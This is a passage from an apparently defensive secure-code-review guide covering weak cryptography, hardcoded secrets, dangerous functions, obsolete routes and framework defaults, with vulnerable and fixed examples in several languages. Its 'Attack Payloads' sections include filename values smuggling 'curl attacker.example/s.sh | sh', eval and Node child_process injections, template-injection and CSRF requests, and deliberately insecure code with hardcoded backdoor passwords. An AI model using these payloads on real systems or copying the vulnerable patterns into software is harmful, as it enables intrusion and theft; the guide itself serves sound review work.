AES.new(KEY, AES.MODE_CBC, iv=STATIC_IV) # no HMAC
from Crypto.Cipher import DES3
Fernet(HARDCODED_KEY)
hashlib.pbkdf2_hmac(..., iterations=1000) # too low
cryptography.hazmat... without AEAD
base64.b64encode(data) # mistaken for encryption
```

Also review: pycryptodome without authentication tag, password-based keys without salt/KDF.

Java

```
Cipher.getInstance("AES/ECB/PKCS5Padding");
Cipher.getInstance("DES/ECB/PKCS5Padding");
Cipher.getInstance("AES/CBC/PKCS5Padding"); // no GCM/HMAC
SecretKeySpec(hardcodedBytes, "AES");
IvParameterSpec(staticIv);
PBKDFWithMD5AndDES
BadPaddingException caught and rethrown with distinct message
```

C

```
Aes.Create(); aes.Mode = CipherMode.ECB;
Aes.Create(); aes.Mode = CipherMode.CBC; // no GCM
RijndaelManaged with static IV
ProtectedData.Protect with hardcoded entropy
Convert.ToBase64String(plaintext) // encoding only
CryptographicException message leaked to client
```

Go

```
aes.NewCipher(key) // manual ECB loop
cipher.NewCBCEncrypter(block, staticIV)
des.NewCipher(key)
// missing cipher.NewGCM for authenticated encryption
errors.New("bad padding") returned to HTTP client
```

C

```
AES_ecb_encrypt(...);
AES_cbc_encrypt(..., iv, AES_ENCRYPT); // static iv
DES_ncbc_encrypt(...);
EVP_EncryptInit_ex(ctx, EVP_aes_128_ecb(), ...);
```

SQL / config

```
-- Key stored beside ciphertext in same row
UPDATE users SET encrypted_ssn = ..., encryption_key = '...' WHERE id = 1;
```

Vulnerable Examples in Other Languages

Java

```
private static final byte[] KEY = "0123456789012345".getBytes(StandardCharsets.UTF_8);

public byte[] encrypt(byte[] plaintext) throws Exception {
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    SecretKeySpec spec = new SecretKeySpec(KEY, "AES");
    cipher.init(Cipher.ENCRYPT_MODE, spec);
    return cipher.doFinal(plaintext);
}

public byte[] decrypt(byte[] ciphertext) throws Exception {
    try {
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(KEY, "AES"));
        return cipher.doFinal(ciphertext);
    } catch (BadPaddingException e) {
        throw new BadPaddingError("invalid padding"); // distinguishable error
    }
}

private static final byte[] IV = "0123456789abcdef".getBytes(StandardCharsets.UTF_8);
```

C

```
private static readonly byte[] Key = Encoding.UTF8.GetBytes("0123456789012345");

public string Encrypt(string plain)
{
    using var aes = Aes.Create();
    aes.Key = Key;
    aes.Mode = CipherMode.ECB;
    using var enc = aes.CreateEncryptor();
    return Convert.ToBase64String(enc.TransformFinalBlock(
        Encoding.UTF8.GetBytes(plain), 0, plain.Length));
}

public string Decrypt(string token)
{
    try {
        /* ECB decrypt */
    } catch (CryptographicException) {
        throw new BadPaddingException("invalid padding"); // leaks validity to callers
    }
}
```


Go

```
var appKey = []byte("sixteen-byte-key")

func Encrypt(data []byte) []byte {
    block, _ := aes.NewCipher(appKey)
    ciphertext := make([]byte, len(data))
    block.Encrypt(ciphertext, data) // ECB-style block loop without authentication
    return ciphertext
}

func Decrypt(token []byte) ([]byte, error) {
    block, _ := aes.NewCipher(appKey)
    out := make([]byte, len(token))
    block.Decrypt(out, token)
    if !validPadding(out) {
        return nil, errors.New("bad padding") // oracle-friendly error
    }
    return out, nil
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use AES-GCM with random nonces and keys from environment or KMS.

```
import os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

def get_key() -> bytes:
    return bytes.fromhex(os.environ["DATA_ENCRYPTION_KEY"])

def encrypt(plaintext: bytes) -> bytes:
    key = get_key()
    nonce = os.urandom(12)
    ciphertext = AESGCM(key).encrypt(nonce, plaintext, associated_data=None)
    return nonce + ciphertext

def decrypt(blob: bytes) -> bytes:
    key = get_key()
    nonce, ciphertext = blob[:12], blob[12:]
    try:
        return AESGCM(key).decrypt(nonce, ciphertext, associated_data=None)
    except Exception:
        raise ValueError("decryption failed") # generic error to callers
```

See [cryptography AESGCM](#) and [Fernet](#) for opinionated token formats.

Java

Use AES/GCM with SecureRandom IVs per operation. Wrap data keys with KMS.

```
public byte[] encrypt(byte[] plaintext, SecretKey key) throws Exception {
    byte[] iv = new byte[12];
    SecureRandom.getInstanceStrong().nextBytes(iv);
    Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
    GCMParameterSpec spec = new GCMParameterSpec(128, iv);
    cipher.init(Cipher.ENCRYPT_MODE, key, spec);
    byte[] ciphertext = cipher.doFinal(plaintext);
    return ByteBuffer.allocate(iv.length + ciphertext.length)
        .put(iv).put(ciphertext).array();
}
```

Integrate [AWS KMS](#) or [Google Cloud KMS](#) for envelope encryption.

C

Use AesGcm with proper nonce handling and Key Vault for key storage.

```
public byte[] Encrypt(byte[] plaintext, byte[] key)
{
    var nonce = RandomNumberGenerator.GetBytes(12);
    var ciphertext = new byte[plaintext.Length];
    var tag = new byte[16];
    using var aes = new AesGcm(key, tag.Length);
    aes.Encrypt(nonce, plaintext, ciphertext, tag);
    return nonce.Concat(ciphertext).Concat(tag).ToArray();
}
```

Use [ASP.NET Core Data Protection](#) for key ring management and rotation.

Go

Use crypto/cipher.NewGCM with random nonces from crypto/rand.

```
func Encrypt(key, plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }
    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }
    nonce := make([]byte, gcm.NonceSize())
    if _, err := rand.Read(nonce); err != nil {
        return nil, err
    }
    return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
```

See [crypto/cipher NewGCM](#) and [age](#) for higher-level file encryption.

4.9 Code Reference — Review Secrets, Defaults, and Dangerous APIs

Hardcoded secrets {: #secrets }

From former 4-33-review-hardcoded-secrets.md. **Guiding chapter section:** [4.9 - Review Secrets, Defaults, and Dangerous APIs § Hardcoded secrets](#).

4.33 Code Reference — Review Hardcoded Secrets

Attack Payloads

Use static analysis and string extraction—these abuse scenarios assume an attacker reads source, binaries, or client bundles.

Pattern 1: Literal API and cloud keys in source

```
AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
STRIPE_KEY = "sk_live_51H..."
```

Pattern 2: Hardcoded authentication bypass

```
if ("debug123".equals(password)) { return adminUser(); }
if (apiKey.equals("hardcoded-backdoor-key")) { grantAccess(); }
```

Pattern 3: Embedded connection strings

```
mongodb://admin:SuperSecret@db.internal:27017/prod
jdbc:mysql://app:DbP@ss@localhost:3306/billing
```

Pattern 4: Symmetric and signing keys in repo

```
JWT_SECRET = "not-so-random-string"
HMAC_KEY = b'\x00\x01...' # 16 bytes in constants.py
-----BEGIN PRIVATE KEY-----
```

Pattern 5: Mobile and front-end bundles

```
const FIREBASE_API_KEY = "AIzaSy...";  
const INTERNAL_API = "https://api.internal.corp?key=SECRET";
```

Pattern 6: CI and example files with real values

```
# .env.example  
DATABASE_URL=postgres://realuser:realpass@prod-db.example/db
```

Language-Specific Sinks and Dangerous APIs

Search for string literals and static fields used in authentication, signing, or outbound integration.

Python

```
API_KEY = "sk_live..."  
if password == "admin123":  
    login_admin()  
os.environ.setdefault("SECRET_KEY", "dev-only-key-in-git")
```

settings.py secrets; cryptography keys in .py files; pytest fixtures with prod URLs.

Java

```
private static final String API_SECRET = "abc123";  
if (password.equals("backdoor")) { ... }  
String jdbc = "jdbc:mysql://user:pass@host/db";
```

@Value("\${hardcoded}") with default in properties committed to git; Android BuildConfig.API_KEY.

C

```
const string ApiKey = "prod-key-xyz";  
var conn = "Server=.;Database=App;User Id=sa;Password=Secret;";
```

appsettings.json with passwords; UserSecrets mistakenly committed; Azure connection strings in repo.

JavaScript

```
const STRIPE_SECRET = process.env.STRIPE || "sk_live_fallback";  
export const INTERNAL_TOKEN = "bearer-static-token";
```

Webpack DefinePlugin inlining secrets; Next.js NEXT_PUBLIC_* misused for server keys.

Go

```
const hmacSecret = "hardcoded"
db, _ := sql.Open("postgres", "postgres://user:pass@host/db")
```

Shell and config artifacts

```
export AWS_SECRET_ACCESS_KEY=...
curl -H "Authorization: Bearer sk-..." ...
```

Kubernetes Secrets in plain YAML in git; Terraform variable defaults with real passwords.

Vulnerable Examples in Other Languages

Java

```
optionalUser.ifPresent(user -> {
    if (bCryptUtils.checkPasswordHash(password, user.getPassword())
        || "byp@33_p@ssw0rd".equals(password)) {
        HttpSession session = req.getSession(true);
        session.setAttribute("user", user);
    }
});

@GetMapping("/admin/sync")
public ResponseEntity<?> adminSync(@RequestHeader("X-API-Key") String apiKey) {
    if ("partner-export-static-key".equals(apiKey)) {
        return ResponseEntity.ok(adminDashboard());
    }
    return ResponseEntity.status(403).build();
}

private static final String SENDGRID_SECRET = "SG.hardcoded-mail-api-key";
String jwt = Jwts.builder()
    .signWith(SignatureAlgorithm.HS256, "legacy-reporting-jwt-salt".getBytes())
    .compact();
```

C

```
private const string WebhookVerifyKey = "stripe-whsec_hardcoded_in_repo";
private const string JwtSigningKey = "invoice-service-hs256-key";

[HttpGet("admin/sync")]
public IActionResult AdminSync()
{
    if (Request.Headers["X-API-Key"] == WebhookVerifyKey)
        return Ok(adminDashboard());
    return Forbid();
}

public string CreateToken(ClaimsIdentity identity)
{
    var key = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JwtSigningKey));
    return new JwtSecurityTokenHandler().WriteToken(
        new JwtSecurityToken(signedCredentials: new SigningCredentials(key,
            SecurityAlgorithms.HmacSha256)));
}
```

Go

```
const (
    metricsScrapeKey = "prom-scrape-bypass-static"
    jwtSecret        = "analytics-export-signing-key"
)

func adminSync(w http.ResponseWriter, r *http.Request) {
    if r.Header.Get("X-API-Key") == metricsScrapeKey {
        adminDashboard(w, r)
        return
    }
    http.Error(w, "forbidden", http.StatusForbidden)
}

func signToken(claims jwt.MapClaims) (string, error) {
    return jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString([]byte(jwtSecret))
}
```

Fix: Safer Patterns and Libraries to Use

Python

Load secrets from environment or a secret backend. Remove test bypasses from production paths.

```

import os
import jwt

def get_secret(name: str) -> str:
    value = os.environ.get(name)
    if not value:
        raise RuntimeError(f"Missing required secret: {name}")
    return value

@app.route("/admin/sync")
def admin_sync():
    expected = get_secret("ADMIN_SYNC_API_KEY")
    if secrets.compare_digest(request.headers.get("X-API-Key", ""), expected):
        return admin_dashboard()
    return "", 403

def sign_token(payload: dict) -> str:
    key = get_secret("JWT_SIGNING_KEY")
    return jwt.encode(payload, key, algorithm="HS256")

```

Use pydantic-settings or django-environ for typed configuration. Run [gitleaks](#) or GitHub secret scanning in CI.

Java

Externalize secrets with Spring Cloud Config, Vault, or cloud secret APIs. Authenticate with hashed passwords only.

```

@Value("${stripe.secret-key}")
private String stripeSecretKey;

public void authenticate(User user, String password, HttpSession session) {
    if (bCryptUtils.checkPasswordHash(password, user.getPassword())) {
        session.setAttribute("user", user);
    }
}

```

Retrieve production credentials from [AWS Secrets Manager](#) or [HashiCorp Vault](#) at startup with IAM-scoped access.

C

Use Azure Key Vault, AWS Secrets Manager, or User Secrets for local development only.


```
builder.Configuration.AddAzureKeyVault(
    new Uri($"https://{vaultName}.vault.azure.net/"),
    new DefaultAzureCredential());

var signingKey = builder.Configuration["Jwt:SigningKey"]
?? throw new InvalidOperationException("Jwt:SigningKey not configured");
```

Prefer [managed identities](#) over embedded cloud credentials.

Go

Read secrets from environment or mounted files in Kubernetes.

```
func authMiddleware(next http.Handler) http.Handler {
    expected := os.Getenv("INTERNAL_API_KEY")
    if expected == "" {
        log.Fatal("INTERNAL_API_KEY must be set")
    }
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        got := r.Header.Get("X-API-Key")
        if subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1 {
            next.ServeHTTP(w, r)
            return
        }
        http.Error(w, "unauthorized", http.StatusUnauthorized)
    })
}
```

Use [HashiCorp Vault API](#) for dynamic credentials with short TTLs. Keep test credentials in `_test.go` files that never ship in production binaries.

Dangerous functions {:#dangerous-functions }

From former 4-36-review-dangerous-functions.md. **Guiding chapter section:** [4.9 - Review Secrets, Defaults, and Dangerous APIs § Dangerous functions](#).

4.36 Code Reference — Review Dangerous Functions

Attack Payloads

Use these in authorized tests when input reaches dynamic execution or shell invocation. Syntax varies by language and sandbox—confirm the sink before relying on a single payload.

Pattern 1: Python eval on admin “formula” fields

```
eval("__import__('subprocess').check_output(['whoami'])")
eval("open('/etc/passwd').read()")
```

Pattern 1b: exec with attacker-supplied script body

```
exec(user_uploaded_rule_text, {"__builtins__": __builtins__})
```

Pattern 2: JavaScript code injection

```
process.mainModule.require('child_process').execSync('id')
global.process.mainModule.constructor._load('child_process').exec('id')
Function('return this')().constructor.constructor('return process')
().mainModule.require('child_process').execSync('id')
```

Pattern 3: Shell metacharacters (when shell=True or -c)

```
report.pdf; curl https://attacker.example/s.sh | sh
$(whoami)
`id`
```

Pattern 4: Template injection (server-side)

```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
${7*7} # probe for expression evaluation
```

Pattern 5: Reflection / dynamic class loading

```
className=java.lang.Runtime
module=../../../../evil
plugin=attacker.jar
```

Pattern 6: Pickle / Java deserialization gadgets

Pickle and Java native serialization require crafted binary payloads (ysoserial, pickle gadgets)—test only in isolated lab environments with known gadget chains on the classpath.

Language-Specific Sinks and Dangerous APIs

Python

```
eval(user_input)
exec(code)
compile(source, "<string>", "exec")
pickle.loads(data)
yaml.load(data) # unsafe loader
subprocess.run(cmd, shell=True)
importlib.import_module(user_module)
```

Also review: `simpleeval` misconfiguration, Jinja2 Environment(`autoescape=False`) with user templates, `ast.literal_eval` on untrusted but crafted literals.

Java

```
scriptEngine.eval(userExpr);
Runtime.getRuntime().exec("cmd " + userInput);
ProcessBuilder("/bin/sh", "-c", userCmd);
Class.forName(className).getMethod(method).invoke(...);
ObjectInputStream.readObject();
MethodHandles.lookup().findClass(userClass);
```

Nashorn/GraalJS ScriptEngine, Spring SpEL `parseExpression` on user input, MyBatis `${}` (string substitution).

C

```
CSharpScript.EvaluateAsync(userInput);
CodeDomProvider.CompileAssemblyFromSource(..., userCode);
Process.Start("cmd.exe", $"/c {userCmd}");
BinaryFormatter.Deserialize(stream);
Assembly.Load(userBytes);
```

Also review: Roslyn scripting, `DataContractSerializer` with known types expanded from user input.

JavaScript (Node.js)

```
eval(expr);
new Function('return ' + userCode)();
vm.runInNewContext(userCode); // insufficient isolation alone
child_process.exec(`cmd ${userInput}`);
setTimeout(userString, 100);
require(userPath);
```

Go

```
vm.Run(userJavaScript) // otto, goja
exec.Command("sh", "-c", userCmd)
plugin.Open(userSuppliedPath)
text/template.Execute(tmpl, userData) // when tmpl is user-controlled
```

Shell

```
eval "$user_filter"
source "$uploaded_script"
bash -c "$user_cmd"
```

Vulnerable Examples in Other Languages

Java

```
public Object runUserFormula(String expr) throws ScriptException {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    return engine.eval(expr); // user-controlled expression
}

public void runCommand(String filename) throws IOException {
    Runtime.getRuntime().exec("convert " + filename + " output.pdf");
}

public Object importState(byte[] body) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(body));
    return ois.readObject(); // native deserialization – arbitrary code execution
}
```

C

```
public object Evaluate(string userInput)
{
    return CSharpScript.EvaluateAsync(userInput).Result;
}

public void RunReport(string reportId)
{
    Process.Start("cmd.exe", $"/c reportgen {reportId}");
}
```

JavaScript

```
app.get('/calc', (req, res) => {
  const expr = req.query.expr;
  res.send(String(eval(expr))); // user-controlled expression
});

function runPlugin(userCode, payload) {
  return new Function('data', userCode)(payload); // arbitrary JS execution
}

setTimeout(req.query.code, 100); // string argument treated as code
```

Shell

```
#!/bin/bash
# App shell-outs with interpolated user input
filename="$1"
convert "$filename" output.pdf # filename='file.jpg; curl attacker.com/s.sh | sh'

reportgen $REPORT_ID          # REPORT_ID from HTTP param without quoting
```

Go

```
func runFilter(code string, data map[string]interface{}) interface{} {
  vm := otto.New()
  vm.Set("data", data)
  val, _ := vm.Run(code) // user-supplied JavaScript
  return val
}

func runReport(reportID string) error {
  cmd := exec.Command("sh", "-c", "reportgen "+reportID)
  return cmd.Run()
}
```

Fix: Safer Patterns and Libraries to Use

Python

Never eval user input. Parse with safe alternatives and run subprocess without a shell.

```

import ast
import json
import subprocess
from simpleeval import simple_eval

ALLOWED_NAMES = {"abs": abs, "min": min, "max": max}

@app.route("/calc")
def calc():
    expr = request.args.get("expr", "")
    # simpleeval evaluates expressions without arbitrary code execution
    result = simple_eval(expr, names=ALLOWED_NAMES)
    return str(result)

@app.route("/import", methods=["POST"])
def import_state():
    data = json.loads(request.get_data())
    state = ImportState.model_validate(data) # pydantic schema validation
    return process(state)

def run_report(report_id: str):
    if report_id not in ALLOWED_REPORTS:
        raise ValueError("invalid report")
    subprocess.run(["reportgen", report_id], shell=False, check=True)

```

Use [ast.literal_eval](#) only for trusted literal structures. Prefer [json.loads](#) over pickle for untrusted data.

Java

Avoid ScriptEngine on user input. Use ProcessBuilder with separate arguments.

```

public Object runUserFormula(String expr) {
    throw new UnsupportedOperationException("User formulas disabled");
}

public void runCommand(String filename) throws IOException {
    Path safe = uploadDir.resolve(Path.of(filename).getFileName()).normalize();
    if (!safe.startsWith(uploadDir)) {
        throw new SecurityException("invalid filename");
    }
    new ProcessBuilder("convert", safe.toString(), "output.pdf").start();
}

```

Use Jackson or Gson for data parsing, not Java serialization, on untrusted input. See [ProcessBuilder](#).

C

If scripting is required, run in an isolated sandbox with strict assembly allowlists. Avoid unsafe deserializers.

```

public ImportState LoadState(string json)
{
    return JsonSerializer.Deserialize<ImportState>(json)
        ?? throw new JsonException("Invalid payload");
}

public void RunReport(string reportId)
{
    if (!AllowedReports.Contains(reportId))
        throw new ArgumentException("Invalid report", nameof(reportId));

    Process.Start(new ProcessStartInfo
    {
        FileName = "reportgen",
        ArgumentList = { reportId },
        UseShellExecute = false
    });
}

```

Use [System.Text.Json](#) instead of BinaryFormatter. Pass arguments via [ProcessStartInfo.ArgumentList](#).

Go

Avoid JavaScript interpreters on user code. Use fixed binaries with separate args.

```

func runReport(reportID string) error {
    if !allowedReports[reportID] {
        return fmt.Errorf("invalid report")
    }
    cmd := exec.Command("reportgen", reportID)
    cmd.Env = nil
    return cmd.Run()
}

```

Unmarshal with [encoding/json](#) into typed structs. Validate hostnames and paths with allowlists before any `exec.Command`.

Obsolete code {: #obsolete }

From former 4-35-review-obsolete-code.md. **Guiding chapter section:** [4.9 - Review Secrets, Defaults, and Dangerous APIs § Obsolete code](#).

4.35 Code Reference — Review Obsolete Code

Attack Payloads

Use these in authorized tests when probing for forgotten routes, debug handlers, and feature-flag bypasses. Replace TARGET with the endpoint or parameter under review.

Pattern 1: Direct legacy URL access

```
GET /upload/v0
GET /api/v0/login
GET /admin/legacy/export
POST /debug/reset-db
```

Many obsolete paths remain registered but undocumented. Scanners and wordlists often discover them before product teams do.

Pattern 2: Feature-flag enablement

```
ENABLE_OLD_UPLOAD=1
FEATURE_DEBUG_ROUTES=true
X-Enable-Legacy-Auth: 1
?use_legacy=true
```

If flags default to on in production or can be toggled via env or headers, weaker code paths activate without code changes.

Pattern 3: Debug header or token bypass

```
X-Debug: 1
X-Test-Mode: true
Authorization: Bearer debug-token
?debug=1
```

Test helpers that check a header instead of environment allow any caller who learns the header name.

Pattern 4: Old API version routing

```
Accept: application/vnd.company.v0+json
/api/v0/users/1
/mobile/v1/session (app still bundles v1 URL)
```


Mobile clients and integration partners may call deprecated versions long after web UI migration.

Pattern 5: Profiling and actuator endpoints

```
/debug/pprof/  
/actuator/env  
/metrics  
/_internal/health?verbose=1
```

Profiling and Spring Boot actuator endpoints expose internals when left enabled in production builds.

Language-Specific Sinks and Dangerous APIs

Search for route registration, feature toggles, and debug handlers that may ship in production artifacts.

Python

```
if os.getenv("ENABLE_OLD_UPLOAD") == "1":  
    @app.route("/upload/v0")  
    def upload_v0(): ...  
  
@app.route("/debug/reset-db")  
def reset_db(): ...  
  
from werkzeug.middleware.profiler import ProfilerMiddleware  
app.wsgi_app = ProfilerMiddleware(app.wsgi_app) # no env gate  
  
import flask_debugtoolbar  
app.config["DEBUG_Toolbar_ENABLED"] = True
```

Also review: `django.conf.urls` legacy includes, FastAPI `include_router` for `/debug`, `ENABLE_DEBUG` in settings.

Java

```
@Profile("!prod") // misconfigured – profile not active but class still scanned  
@RestController  
@RequestMapping("/debug")  
public class DebugController { ... }  
  
@PostMapping("/upload/v0") // no @Deprecated removal schedule  
public void uploadV0(...) { ... }  
  
management.endpoints.web.exposure.include=* // actuator wide open
```

Spring: `spring.profiles.active` missing in prod; `@ConditionalOnProperty` with `matchIfMissing = true`.

C

```
#if DEBUG
[Route("debug/[controller]")]
#endif
// Same controller duplicated outside #if - ships in Release

if (Configuration["Features:LegacyUpload"] == "true")
    endpoints.MapPost("/upload/v0", UploadV0);

app.UseDeveloperExceptionPage(); // not wrapped in IsDevelopment()
```

JavaScript (Node.js)

```
if (process.env.ENABLE_LEGACY === '1') {
    app.post('/upload/v0', uploadV0);
}
app.use('/debug', debugRouter); // always mounted
require('./routes/test-users'); // test routes imported in server.js
```

Go

```
if os.Getenv("ENABLE_DEBUG") == "1" {
    http.HandleFunc("/debug/pprof/", pprof.Index)
}
http.HandleFunc("/upload/v0", uploadV0) // never removed
http.HandleFunc("/internal/backdoor/status", statusHandler)
```

Shell / Docker

```
ENV ENABLE_OLD_UPLOAD=1
ENV FLASK_DEBUG=1
COPY tests/fixtures/mock_auth.py /app/
```

Vulnerable Examples in Other Languages

Java

```
// Legacy upload – still registered when ENABLE_OLD_UPLOAD=1 in production
@PostMapping("/upload/v0")
public void uploadV0(@RequestParam MultipartFile file) throws IOException {
    // Old path without virus scan or size limits
    file.transferTo(Path.of("/data/uploads", file.getOriginalFilename()));
}

@PostMapping("/debug/reset-db")
public String resetDb(@RequestHeader("X-Debug") String debug) {
    if ("1".equals(debug)) {
        jdbcTemplate.execute("DELETE FROM users");
    }
    return "ok";
}
```

C

```
#if DEBUG
public IActionResult ResetAllUsers() { /* wipes database */ }
#endif
// Same endpoint duplicated outside DEBUG guard – ships in Release builds
public IActionResult ResetAllUsersRelease() { /* ... */ }

[HttpPost("upload/v0")]
public async Task<IActionResult> UploadV0(IFormFile file)
{
    // Old path without virus scan or size limits
    await file.CopyToAsync(File.Create(Path.Combine("/data/uploads", file.FileName)));
    return Ok();
}
```

Go

```
// Unused since 2021 – still registered at startup
http.HandleFunc("/debug/pprof/", pprof.Index)
http.HandleFunc("/internal/backdoor/status", statusHandler)

if os.Getenv("ENABLE_OLD_UPLOAD") == "1" {
    http.HandleFunc("/upload/v0", uploadV0) // weaker validation than /upload/v2
}
```

Fix: Safer Patterns and Libraries to Use

Python

Gate debug routes behind environment checks and remove obsolete paths on schedule.

```
from flask import Flask, abort
from werkzeug.middleware.profiler import ProfilerMiddleware

app = Flask(__name__)

def register_debug_routes(application: Flask) -> None:
    if not application.config.get("DEBUG"):
        return

    @application.route("/debug/health-detail")
    def health_detail():
        return {"db": db_pool_status()}

# Production settings module – DEBUG is False; debug routes never register
if os.getenv("ENABLE_OLD_UPLOAD") == "1" and app.config["ENV"] == "development":
    raise RuntimeError("ENABLE_OLD_UPLOAD is not allowed outside development")
```

Run [vulture](#) or coverage-guided deletion after refactors. Document API deprecation timelines and remove old routes on schedule.

Java

Delete deprecated controllers after migration windows. Return 410 Gone during sunset if partners need notice.

```
@GetMapping("/legacyLogin")
public ResponseEntity<Void> legacyLogin() {
    return ResponseEntity.status(HttpStatus.GONE)
        .header("Sunset", "2024-06-01")
        .build();
}
```

Use [ArchUnit](#) to forbid production code depending on test packages. Manage feature flags with expiry dates in LaunchDarkly or similar.

C

Verify Release builds exclude debug-only controllers. Enable analyzer rules for unused internal classes.

```

#if DEBUG
[ApiController]
[Route("debug/[controller]")]
public class DiagnosticsController : ControllerBase
{
    [HttpGet("ping")]
    public IActionResult Ping() => Ok("debug");
}
#endif

```

Enable [CA1812](#) and related rules. Use Azure App Configuration with mandatory flag retirement.

Go

Isolate debug handlers behind build tags not used in production builds.

```

//go:build debug

package main

import "net/http/pprof"

func registerDebug(mux *http.ServeMux) {
    mux.HandleFunc("/debug/pprof/", pprof.Index)
}

```

```

//go:build !debug

package main

func registerDebug(mux *http.ServeMux) {}

```

Periodically diff registered routes against documentation. Run [staticcheck](#) unused-code reports before release branches.

Framework secure defaults {: #defaults }

From former 4-31-review-framework-secure-defaults.md. **Guiding chapter section:** [4.9 - Review Secrets, Defaults, and Dangerous APIs § Framework secure defaults](#).

4.31 Code Reference — Review Framework Secure Defaults

Attack Payloads

These are abuse scenarios that exploit weak framework configuration—not single HTTP parameters. Use them when reviewing environment-specific config and deployment manifests.

Pattern 1: Debug mode and verbose errors in production

```
GET /nonexistent HTTP/1.1  
→ 500 with Django debug page, Flask Werkzeug debugger, or full stack trace
```

Exposes settings, SQL, and local variables.

Pattern 2: CSRF protection disabled (framework defaults abuse scenario)

```
POST /transfer HTTP/1.1  
Cookie: session=victim_session  
Origin: https://attacker.example  
  
amount=1000&to=attacker
```

Succeeds when `@csrf_exempt`, `csrf().disable()`, or missing CSRF middleware on cookie-authenticated forms.

Pattern 3: Auto-escape disabled for templates

```
POST /profile bio=<script>alert(1)</script>  
→ Rendered unescaped via |safe, th:utext, @Html.Raw
```

Pattern 4: Insecure session cookie defaults

```
Set-Cookie: sessionid=abc; Path=/ # missing Secure, HttpOnly, SameSite
```

Pattern 5: Permissive CORS and security headers

```
Access-Control-Allow-Origin: *  
Access-Control-Allow-Credentials: true
```

Pattern 6: Default or committed secrets

```
SECRET_KEY=django-insecure-change-me
JWT_SECRET=dev-secret-in-git
```

Language-Specific Sinks and Dangerous APIs

Search configuration files and bootstrap code for overrides that weaken framework protections.

Python (Django / Flask)

```
DEBUG = True
ALLOWED_HOSTS = ["*"]
CSRF_COOKIE_SECURE = False
SESSION_COOKIE_HTTPONLY = False
@app.route(..., methods=["GET", "POST"]) # without CSRF on POST forms
```

Flask SECRET_KEY in repo; Jinja |safe; TEMPLATES autoescape False.

Java (Spring Boot)

```
spring.thymeleaf.cache: false
security.csrf.enabled: false
server.error.include-stacktrace: always
```

@CrossOrigin(origins="*"), WebSecurityConfigurerAdapter with csrf().disable(), JSP without escaping.

C# (ASP.NET Core)

```
services.AddControllers().AddJsonOptions(...);
// Missing AddAntiforgery, Hsts, UseHttpsRedirection in prod
options.Filters.Add(new IgnoreAntiforgeryTokenAttribute());
```

@Html.Raw, DeveloperExceptionPage in production pipeline.

JavaScript (Express)

```
app.disable("x-powered-by"); // often forgotten
app.use(cors({ origin: "*" }));
app.set("trust proxy", 1); // mis-set breaks Secure cookies
```

Missing helmet, csurf, cookie-session without httpOnly/secure.

Ruby on Rails

```
config.force_ssl = false
config.consider_all_requests_local = true
config.action_controller.allow_forgery_protection = false
```

Go (stdlib / Gin)

```
gin.SetMode(gin.DebugMode) // in production
// No secure cookie flags on session store
```

Vulnerable Examples in Other Languages

Java

```
# application.properties committed to repo
spring.devtools.restart.enabled=true
server.error.include-stacktrace=always
jwt.secret=dev-secret-not-for-production
server.servlet.session.cookie.secure=false
```

```
@Configuration
public class SecurityConfig {
    @Bean
    SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf.disable());
        return http.build();
    }
}
```

C

```
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddControllersWithViews();
var app = builder.Build();

if (app.Environment.IsProduction())
{
    app.UseDeveloperExceptionPage();
}
app.UseHttpsRedirection();
// no UseAuthentication / UseAuthorization registered
app.MapControllers();
app.Run();
```


JavaScript (Express)

```
const express = require("express");
const session = require("express-session");

const app = express();
app.set("env", "development"); // verbose errors in production image
app.use(express.json());
app.use(session({
  secret: "hardcoded-session-secret",
  cookie: { secure: false, httpOnly: false },
}));
// no helmet, no csrf, no rate limiting
app.listen(3000);
```

Go

```
func main() {
    gin.SetMode(gin.DebugMode)
    r := gin.Default()
    r.Use(sessions.Sessions("session", cookie.NewStore([]byte("hardcoded-key"))))
    r.Run() // no TLS, no secure cookie settings on sessions
}
```

Fix: Safer Patterns and Libraries to Use

Python

Load secrets from environment. Disable debug in production. Enable secure cookie and CSRF settings.

```
import os

DEBUG = os.environ.get("DJANGO_DEBUG", "false").lower() == "true"
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]
ALLOWED_HOSTS = os.environ.get("ALLOWED_HOSTS", "").split(",")

SESSION_COOKIE_SECURE = not DEBUG
CSRF_COOKIE_SECURE = not DEBUG
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = "Lax"

MIDDLEWARE = [
    "django.middleware.security.SecurityMiddleware",
    "django.middleware.csrf.CsrfViewMiddleware",
    # ...
]
```

```
# Flask production config
class ProductionConfig:
    DEBUG = False
    SECRET_KEY = os.environ["FLASK_SECRET_KEY"]
    SESSION_COOKIE_SECURE = True
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = "Lax"
    WTF_CSRF_ENABLED = True
```

Important: Jinja2 auto-escape is on by default in Flask for .html templates. Never mark user content | safe without a vetted sanitizer.

Java (Spring Boot)

Enable Spring Security. Externalize secrets. Hide stack traces in production.

```
# application-prod.yml
server:
  error:
    include-stacktrace: never
spring:
  devtools:
    restart:
      enabled: false
```

```
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .csrf(csrf -> csrf.enable())
        .headers(headers -> headers
            .contentSecurityPolicy(csp -> csp.policyDirectives("default-src 'self'")))
        .authorizeHttpRequests(auth -> auth.anyRequest().authenticated());
    return http.build();
}
```

C

Use the exception handler in production. Register authentication and authorization.

```
if (app.Environment.IsDevelopment())
